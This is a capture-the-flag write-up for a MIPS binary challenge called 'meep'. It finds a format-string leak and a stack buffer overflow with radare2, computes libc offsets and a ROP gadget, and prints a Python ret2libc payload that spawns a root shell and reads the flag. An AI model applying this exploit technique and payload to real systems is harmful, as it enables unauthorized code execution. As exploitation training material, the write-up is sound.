4.5 KiB
meep - pwn
fridgebuyer
/meep ❯ file meep
meep: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, BuildID[sha1]=140b4551e8ece2ef8f59a9b207d175713dc18e8f, for GNU/Linux 3.2.0, with debug_info, not stripped
/meep ❯ r2 -q -c 'aaa; afl' meep
0x004008a8 5 336 dbg.diagnostics
0x004009f8 1 208 dbg.greet
0x00400ac8 10 692 dbg.main
/meep ❯ r2 -q -e bin.relocs.apply=true -c "aaa; pdf @dbg.greet" meep
│ 0x00400a4c 27c2001c addiu v0, fp, 0x1c ; meep.c:43:5
│ 0x00400a50 00003825 move a3, zero
│ 0x00400a54 24060100 addiu a2, zero, 0x100 ; arg3
│ 0x00400a58 00402825 move a1, v0
│ 0x00400a5c 00002025 move a0, zero
│ 0x00400a60 8f828034 lw v0, -sym.imp.recv(gp)
│ 0x00400a64 0040c825 move t9, v0
│ 0x00400a68 0320f809 jalr t9
│ ...
│ 0x00400a90 27c2001c addiu v0, fp, 0x1c ; meep.c:46:5
│ 0x00400a94 00402025 move a0, v0
│ 0x00400a98 8f828068 lw v0, -sym.imp.printf(gp)
│ 0x00400a9c 0040c825 move t9, v0
│ 0x00400aa0 0320f809 jalr t9
0x100 -- sym.imp.recv reads 256 bytes into buf@fp+0x1c sym.imp.printf(gp) -- format string
/meep ❯ r2 -q -c 'pdf @dbg.diagnostics' meep
│ 0x004008d0 27c20018 addiu v0, fp, 0x18 ; meep.c:19:20
│ ...
│ 0x0040090c 24060100 addiu a2, zero, 0x100 ; arg3
│ 0x00400910 27c20018 addiu v0, fp, 0x18
│ 0x00400914 00402825 move a1, v0
│ 0x00400918 00002025 move a0, zero
│ 0x0040091c 8f828034 lw v0, -sym.imp.recv(gp)
│ 0x00400920 0040c825 move t9, v0
│ 0x00400924 0320f809 jalr t9
│ ...
│ 0x004009dc 8fbf00a4 lw ra, (var_a4h)
│ 0x004009e0 8fbe00a0 lw fp, (var_a0h)
│ 0x004009e4 8fb1009c lw s1, (var_9ch)
│ 0x004009e8 8fb00098 lw s0, (var_98h)
│ 0x004009ec 27bd00a8 addiu sp, sp, 0xa8
│ 0x004009f0 03e00008 jr ra
0x100 — reads 256 bytes into fp+0x18 ra loaded from fp+0xa4, then jr ra buf to ra = 0xa4 - 0x18 = 0x8c = 140 bytes, recv reads 256 -- overflow s0 (fp+0x98), s1 (fp+0x9c), fp (fp+0xa0) rewriteable
/meep ❯ readelf --dyn-syms meep | grep puts
18: 00000000 FUNC UND puts@GLIBC_2.0
- GOT entry at 0x411078
- this is passed to greet func as "logger"
- greet func stores it on the stack at fp+0x18
- printf's 6th arg
so we can leak puts via %6$p
meep ❯ nohup qemu-mips -L ./sysroot ./meep > /dev/null 2>&1 ... meep ❯ echo '%p.%p.%p.%p.%p.%p' | nc -w2 127.0.0.1 9001
Hello:
(nil).0x1.(nil).0x419020.0x7.0x2b37d3b0
+*Enter diagnostic command:
/meep ❯ readelf -s lib-mips/libc.so.6 | grep -E ' puts| system'
puts: 0x0007d3b0
system: 0x000536e8
so offsets:
- libc_base = leaked_puts - 0x7d3b0
- system = libc_base + 0x536e8
/meep ❯ strings -t x lib-mips/libc.so.6 | grep /bin/sh
1ba178 /bin/sh
- string "/bin/sh" is at 0x1ba178 in libc
- we can refer to libc_base + 0x1ba178 for system("/bin/sh") argument
/meep ❯ ROPgadget --binary lib-mips/libc.so.6 | grep '^.* : move $t9, $s1 ; jalr $t9 ; move $a0, $s0$'
0x00027488 : move $t9, $s1 ; jalr $t9 ; move $a0, $s0
- https://devblogs.microsoft.com/oldnewthing/20180412-00/?p=98495
- https://www.pagetable.com/?p=313
- copy s1 into t9, we control s1 via overflow
- jump to t9 (system func)
- delay slot: copy s0 into a0 ("/bin/sh" string addr)
sol
- Send
%6$p\n - leak puts addr:
libc_base = puts - 0x7d3b0
payload = b'A'*0x80 # pad to s0
payload += p32(libc_base + 0x1ba178) # s0 → "/bin/sh"
payload += p32(libc_base + 0x536e8) # s1 → system()
payload += p32(0x41414141) # fp
payload += p32(libc_base + 0x27488) # ra → gadget
- Gadget:
a0="/bin/sh",jalr system()gives shell
/meep ❯ python3 sol.py remote
...
[+] Leaked puts: 0x2b7bd3b0
[+] libc base: 0x2b740000
[+] Shell response: uid=1000 ...
...
$ .
uid=0(root) gid=0(root) groups=0(root)
$ cat /home/flag.txt gigem{m33p_m1p_1_n33d_4_m4p}